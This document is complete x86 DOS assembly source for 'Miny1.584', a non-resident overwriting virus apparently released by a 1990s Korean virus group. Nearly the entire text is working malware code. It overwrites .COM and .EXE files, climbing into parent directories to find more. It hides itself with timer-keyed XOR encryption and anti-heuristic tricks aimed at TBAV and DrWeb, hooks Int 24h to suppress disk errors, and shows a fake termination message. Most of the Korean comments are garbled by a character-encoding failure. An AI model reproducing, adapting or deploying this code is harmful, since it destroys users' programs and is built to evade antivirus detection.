;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;                                              \\\\\\\  \       \  \
;     Miny1.584                               \          \     \   \
;                 by Osiris / CVC             \           \   \    \   98/03
;                                             \            \ \     \
;                                              \\\\\\\      \      \\\\\\\ #01
;
;
; Name : Miny1.584
; AV Name : Miny, MinyO, KOV.Mini1
; Original Author : KOV of SVS
; Author : Osiris of CVC
; Origin : Corea
; Date : 1998/01/02
; Type : Non Resident  Overwriting
;
; !****************************************************************************!
; *                                                                            *
; * w !                                                                     *
; *    e aa a šaa. aBⷥ ae awAᴡea.      *
; *    Abae  aša Ae e AA Ёᕡ i  g   *
; *    ea. ew aa Зa ia !                                       *
; *                                                                            *
; * Warning !                                                                  *
; *    This is a VIRUS source code. This source code is provieded educational  *
; *    purpose. The author is not responsible for any damage caused by this c  *
; *    ode. Don't modify & execute it !                                        *
; *                                                                            *
; !****************************************************************************!
;
; Miny1.399 aa ea.
; Anti-Heuristic i awЁ w 񬂵Aᕡ eA gea.
; ae, eѢ EXE ai qqvi w ¸wa a a ia aa
;  eA ea.  saaw aa a  a a.
;
; AV Test : e eQ
; Heuristic Test : e eQ
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>


 Miny1         SEGMENT PARA 'Miny1'
               assume cs:Miny1, ds:Miny1

               Org    100h

 Entry:        call   Anti_TBAV                 ; TBAV e wЁ & qѡ Ή

 Encry_Start:
               mov    byte ptr S_Find,0FFh      ; COM qqa, EXE qqa
               mov    byte ptr Total,00         ; 3 qq
               mov    byte ptr Infected,00      ; qqE i 0 a ea.
               Jmp    Virus_Start               ; a x a

;
; A t wb
;

 Vir_Msg       db ' [Miny1]  from Corean Virus Factory !',0Dh,0Ah
               db ' Anti-Heuristic Version / FREEWARE  98/01/02',0Dh,0Ah
               db ' (c) Copyleft 1991-95 by KOV of SVS,Corea',0Dh,0Ah
               db ' (c) Copyleft 1997-98 by Osiris of CVC,Corea',0Dh,0Ah
               db ' Thanx to MOV of SVS !$'

 Msg           DB     'Abnormal Program Termination.',0Dh,0Ah,'$'

 Total         DB     ?                         ; qqǥ
 Infected      DB     ?                         ; qa qqE ai
 S_Find        DB     ?                         ; qqǡ e wȁ
 UP            DB     '..',00                   ; wᝡ 

 Virus_Start:
               xor    ax,ax
               mov    ds,ax
               mov    bx,0090h
               push   DS:[BX]                   ; Int 24h t w
               Push   DS:[BX+2]

               mov    DS:[BX],offset NewInt24
               mov    DS:[BX+2h],cs             ; Int 24h a

               Push   CS                        ; cs=ds
               Pop    DS

               mov    word ptr Target_File, '.*'; *. w
                                                ; a ta a x
                                                ; Anti-Heuristic for DrWeb
 Find_File:
               Mov    ah, (4Eh xor 12h)
               Mov    cx,00100011B              ; a 
               mov    dx, offset Target_File
 Find:         xor    ah,12h
               Int    21h                       ;  a xe ́aEa.
               Jnc    ChkInfect                 ; A?
               jmp    Check_S_Find
 ChkInfect:
               mov    ax, DS:[0080h+1Eh]
               cmp    ax,'OC'                   ; COMMAND.COM a ?
               jnz    InfectFile                ; qq AA

 Find_NEXT:
               Mov    ah, (4Fh xor 12h)         ; aq a a
               JMP    Find                      ;

 InfectFile:
               mov    ax,0143h                  ; i /a eea.
               xor    cx,cx                     ; DTA a 0080h  baa
               mov    dx,0080h
               add    dl,1Eh                    ; DX=009Eh
               xchg   ah,al
               int    21h
               jc     Stop_Virus

               mov    ax,023Dh                  ; e/a e
               xchg   ah,al                     ; AX=3D02h
               int    21h
               jc     Stop_Virus

               xchg   ax,bx                     ; AX A Ѕi 
               mov    ax,(5700h xor 5700h)      ; e 苡
               xor    ax,5700h
               int    21h
               push   cx
               push   dx

               mov    ah,3Fh                    ; |  i
               mov    cx,0001
               mov    dx, offset Buffer
               int    21h

               mov    ax,4200h
               xor    cx,cx
               xor    dx,dx
               int    21h

               cmp    byte ptr Buffer, 0E8h     ; qqAa ?
               jnz    Get_Key_Value
               inc    byte ptr INFECTED         ; qqE a 
               jmp    Restore_File_DT

 Get_Key_Value:
               xor    ax,ax                     ;  e 苡 (qѡ
               mov    es,ax                     ; A aw)
               mov    al,byte ptr ES:[046Ch]    ; 0000:046Ch
               Push   CS                        ; cs=es
               Pop    ES                        ;
               mov    Key_Value,al              ; Key_Value = qѡǡ t
               call   Write_Vir                 ; aa a ѡ
               Inc    byte ptr Total            ; 1 wa

 Restore_File_DT:
               pop    dx                        ; e 
               pop    cx
               mov    ax,0157h                  ; e ( e)
               xchg   ah,al                     ; AX=5701h
               int    21h

               mov    ah,3eh                    ; a h
               Int    21h

               cmp    byte ptr Total,3          ; 3 qqva?
               jz     Stop_Virus
               JMP    Find_NEXT

 Stop_Virus:
               xor    ax,ax                     ;  Int 24h  a
               mov    ds,ax
               mov    bx,0090h
               pop    DS:[BX+2]
               pop    DS:[BX]
               Push   CS
               Pop    DS
               mov    dx, offset Msg            ; wⷥ Aᝡ aw
               cmp    byte ptr Infected,15      ; 15w qqE a ae
               jb     PrtMsg                    ; A b

               mov    dx, offset Vir_Msg
 PrtMsg:       mov    ah,9                      ; A b
               Int    21h

               Mov    ax,4CFFh                  ; aa a
               int    21h


 Check_S_Find:
               cmp    byte ptr S_Find, 0FFh     ; a aa xvea ?
               jnz    Check_Find_com
 Find_Com:
               mov    byte ptr S_Find, 0        ; COM a  qq
               mov    word ptr Target_File+2,'oc'
               mov    byte ptr Target_File+4,'m'
               mov    byte ptr Target_File+5, 0 ; *.com
               jmp    Find_File

 Check_Find_com:
               cmp    byte ptr S_Find,1         ; 01e EXE a qqva.
               Jnz    DX_EXE
               mov    dx, offset UP             ; w Bɡ 
               mov    ah, 3Bh
               Int    21h
               jc     Stop_Virus                ; a Bɡ a ?
               jmp    Find_Com
 DX_EXE:
               Mov    byte ptr S_Find,1         ; EXE ai qqaa.
               mov    word ptr Target_File+2,'xe';
               mov    byte ptr Target_File+4,'e'
               mov    byte ptr Target_File+5, 0 ; *.exe
               Jmp    Find_File

 NewInt24:                                      ; Int 24h ១
               xor    al,al
               IRET

 End_Encry:

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;             aa qѡ 
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 Write_Vir:    call   Decode                    ; qѡ
               mov    ah, 3Fh                   ; aa a
               inc    ah                        ; AH=40h
               mov    dx, 100h                  ;
               mov    cx, offset Vir_END - 100h ;
               Int    21h
               call   Decode                    ; qѡ ЁA
               RET
 Key_Value     DB     ?

 Anti_TBAV:
               cmp    al,100                    ; Thanx ! MOV !
               je     Decode                    ; TBAV  '#' iaa ia
               inc    al                        ; gea.
               loop   Anti_TBAV                 ;
 Decode:
               mov    di, offset Encry_Start    ; qѡ b
               mov    ah, Key_value
               mov    si,di
               mov    cx, offset End_Encry - Encry_Start
 E_Ing:
               lodsb                            ; qѡ
               xor    al,ah
               stosb
               loop   E_ing
               RET
 Vir_END:

 Target_File   db     0,0,0,0,0,0               ; qqi ǩ a ¸wa
 Buffer        db     ?

 Miny1         ENDS
               END    Entry
